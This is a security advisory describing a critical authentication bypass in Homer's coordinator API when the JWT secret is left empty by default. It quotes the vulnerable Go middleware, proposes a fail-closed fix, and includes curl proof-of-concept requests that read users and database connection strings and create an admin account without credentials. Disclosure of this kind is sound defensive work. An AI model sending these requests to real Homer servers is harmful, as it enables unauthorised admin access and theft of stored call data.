Homer: Complete Authentication Bypass When coordinator.jwt.secret Is Empty (Default)

### Summary Both JWT middleware functions (`JWTMiddleware` and `JWTMiddlewareV4`) immediately return `next(c)` when `jwtSecret == ""`. The JWT secret defaults to an empty string. On a default installation, all protected API endpoints under `/api/v1`, `/api/v3`, and `/api/v4` are completely unauthenticated. ### Details **`coordinator/handlers/auth.go` lines 298-304:** ```go func (h *Auth) JWTMiddleware() echo.MiddlewareFunc { return func(next echo.HandlerFunc) echo.HandlerFunc { return func(c echo.Context) error { if h.jwtSecret == "" { return next(c) // bypass — no validation performed } ``` **`coordinator/handlers/auth_v4_helpers.go` lines 177-182:** ```go func (h *Auth) JWTMiddlewareV4() echo.MiddlewareFunc { return func(next echo.HandlerFunc) echo.HandlerFunc { return func(c echo.Context) error { if h.jwtSecret == "" { return next(c) // same bypass ``` **`coordinator/coordinator.go` lines 315-317:** ```go if c.config.JWT.Secret != "" { protected.Use(authHandler.JWTMiddleware()) // middleware not even registered when secret is empty } ``` **`config/config.go` line 845:** `Secret` field struct tag has `default:""`. The example config ships a placeholder value, but the Go struct default (used when no config is provided) is empty. ### PoC ```bash # On a default Homer installation (no JWT secret configured), all protected routes are open: curl http://<homer-host>/api/v3/users # Returns full user list with no credentials curl http://<homer-host>/api/v3/databases # Returns all database connection strings curl -X POST http://<homer-host>/api/v3/users \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"pw","partid":10,"usergroup":"admin"}' # Creates a new admin user with no credentials ``` ### Impact Missing Authentication for Critical Function (CWE-306). On a default Homer installation with no JWT secret configured, every admin API endpoint is completely unauthenticated. Attackers can read/write all configuration, users, database connections, and stored VoIP call data. ### Fix Fail closed: if `JWT.Secret` is empty at startup, abort with a fatal error requiring the operator to set a strong secret. Remove the empty-string shortcircuit from both middleware functions: ```go if h.jwtSecret == "" { log.Fatal("coordinator.jwt.secret must be set to a non-empty value") } ``` If possible, please apply for a CVE number when posting.

Source published

7 Oct 2026 16:11:58 UTC

Source modified

20 Oct 2026 00:55:52 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Publisher rating · CRITICAL